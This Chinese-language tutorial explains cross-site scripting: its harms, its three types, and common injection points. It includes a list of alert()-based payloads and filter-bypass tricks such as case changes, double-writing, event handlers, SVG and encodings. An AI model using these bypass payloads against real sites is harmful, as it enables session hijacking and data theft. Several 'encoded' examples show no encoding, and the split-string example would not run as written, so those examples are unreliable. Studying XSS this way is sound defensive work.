目录
概念
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种代码注入攻击,攻击者通过在目标网站中注入恶意脚本,使之在用户的浏览器上执行,从而窃取用户的敏感信息、劫持用户会话、进行钓鱼攻击等。XSS漏洞通常是通过PHP的输出函数将Javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
XSS造成的危害
用户数据泄露:
攻击者可以通过XSS窃取用户的敏感信息,如登录凭证、银行账户信息、个人数据等。
恶意脚本可以访问页面上的所有内容,包括用户输入的表单数据、Cookie、Local Storage等,从而窃取用户的隐私信息。
会话劫持:
攻击者可以窃取用户的会话Cookie,从而冒充用户进行未授权操作。
一旦获得用户的会话Cookie,攻击者可以登录用户的账户,进行恶意操作,如转移资金、修改账户信息等。
钓鱼攻击:
攻击者可以通过XSS向用户展示伪造的登录页面或表单,诱导用户输入敏感信息。
用户在不知情的情况下提交的敏感信息会直接发送给攻击者,导致信息泄露。
恶意重定向:
恶意脚本可以将用户重定向到攻击者控制的钓鱼网站或恶意网站,进一步进行攻击。
用户可能会被诱导下载恶意软件或输入敏感信息。
修改页面内容:
攻击者可以通过XSS修改网页内容,显示虚假的信息,欺骗用户。
例如,攻击者可以修改电商网站的商品价格、描述,诱导用户进行错误的购买决策。
执行恶意操作:
恶意脚本可以自动执行用户授权的操作,如发送消息、发起交易、修改账户设置等。
攻击者可以利用这些操作进行进一步的攻击或滥用用户的账户。
传播恶意软件:
恶意脚本可以利用XSS漏洞向用户分发恶意软件,感染用户设备。
一旦设备被感染,攻击者可以远程控制设备,窃取更多信息或进行其他恶意活动。
影响网站声誉:
XSS攻击会严重影响网站的安全性和用户信任度,导致用户流失和品牌形象受损。
网站一旦被攻击,用户可能会对其安全性产生怀疑,甚至拒绝继续使用该网站。
法律和合规风险:
如果网站因XSS漏洞导致用户信息泄露,可能会面临法律诉讼和罚款。
网站运营者需要承担法律责任,遵守相关的隐私保护法规。
XSS分类
存储型XSS(Stored XSS):
概述:恶意脚本被永久存储在目标服务器上,任何访问包含这些脚本内容的用户都会执行这些恶意代码。
攻击途径:通常通过用户输入的表单、评论、帖子等方式将恶意脚本存储在服务器上。
示例:攻击者在论坛的评论区插入一段恶意脚本,当其他用户查看该评论时,恶意脚本在用户的浏览器中执行,导致用户数据被窃取。
反射型XSS(Reflected XSS):
概述:恶意脚本通过URL参数、表单提交等途径发送到服务器,并立即反射回用户的浏览器执行。
攻击途径:通常通过构造恶意URL或表单提交的方式将脚本注入,当用户访问恶意链接或提交表单时,脚本在浏览器中执行。
示例:攻击者发送一封包含恶意链接的电子邮件,用户点击链接后,脚本通过URL参数反射回页面并在用户浏览器中执行,导致用户会话被劫持。
基于DOM的XSS(DOM-Based XSS):
概述:恶意脚本不经过服务器,而是直接在客户端的DOM环境中执行,利用客户端JavaScript代码对DOM的操作。
攻击途径:通过操作DOM对象,如document.write、innerHTML等方式将恶意脚本插入页面。
示例:攻击者构造一段恶意脚本,通过JavaScript操作DOM,用户在浏览器中访问页面时,脚本直接在客户端执行,导致用户数据被窃取。
常见的XSS的payload构造及绕过
基础XSS Payload
<script>alert('XSS')</script>
大小写绕过(随机选择改写)
<Script>alert(1)</script>
双写绕过
<sc<script>alert(1)</script>
HTML属性注入
<img src=x onerror=alert('XSS')>
事件处理程序注入
<body onload=alert('XSS')>
URL编码注入
<img src=javascript:alert('XSS')>
SVG注入
<svg onload=alert('XSS')></svg>
绕过技巧
使用多种编码
URL编码:
<img src=%6a%61%76%61%73%63%72%69%70%74:alert('XSS')>
Unicode编码:
<img src=javascript:alert('XSS')>
利用混淆和分割
将payload分割成多个部分:
<img src="java" + "script:alert('XSS')">
逃避过滤器
利用HTML实体编码:
<img src=javascript:alert('XSS')>
动态生成
利用DOM属性动态生成:
<img src="javascript:eval('alert(String.fromCharCode(88,83,83))')">
嵌套标签
在标签内部嵌套其他标签:
<<img src="x" onerror="alert('XSS')">img src="x">
使用注释符绕过
利用HTML注释符:
<img src="x" onerror="alert('XSS')"><!-- -->
常见注入点及其位置
表单输入字段:
攻击者可以在HTML表单的输入字段中插入恶意脚本。这些输入字段包括文本框、文本区域等。
<input type="text" name="username" value="<script>alert('XSS')</script>">
URL参数:
攻击者可以在URL参数中注入恶意脚本,当参数值反射回页面时,脚本就会执行。
http://example.com/search?q=<script>alert('XSS')</script>
HTTP请求头:
攻击者可以在HTTP请求头中注入恶意脚本,例如通过修改Referer或User-Agent头。
GET / HTTP/1.1
Host: example.com
User-Agent: <script>alert('XSS')</script>
评论和留言板:
攻击者可以在评论或留言板中插入恶意脚本,这些内容会被存储在服务器上,并在页面加载时执行。
<textarea name="comment"><script>alert('XSS')</script></textarea>
动态生成的内容:
攻击者可以通过脚本注入动态生成的内容,影响所有访问该内容的用户。
<div>
<script>alert('XSS')</script>
</div>
放置位置示例
HTML表单字段:
恶意脚本可以直接插入表单字段中,当表单被提交并显示在页面上时,脚本会执行。
<form action="/submit" method="post">
<input type="text" name="name" value="<script>alert('XSS')</script>">
<input type="submit">
</form>
URL参数:
恶意脚本通过URL参数注入,当服务器将参数值反射到页面时,脚本会执行。
<a href="http://example.com/search?q=<script>alert('XSS')</script>">Search</a>
JavaScript上下文:
恶意脚本可以插入到JavaScript代码中,例如在动态生成HTML内容时。
<script>
var userInput = "<script>alert('XSS')</script>";
document.write(userInput);
</script>
事件处理程序:
恶意脚本可以通过HTML标签的事件处理程序属性注入。
<img src="x" onerror="alert('XSS')">
SVG和其他特殊标签:
恶意脚本可以利用SVG标签等特定标签注入。
<svg onload="alert('XSS')"></svg>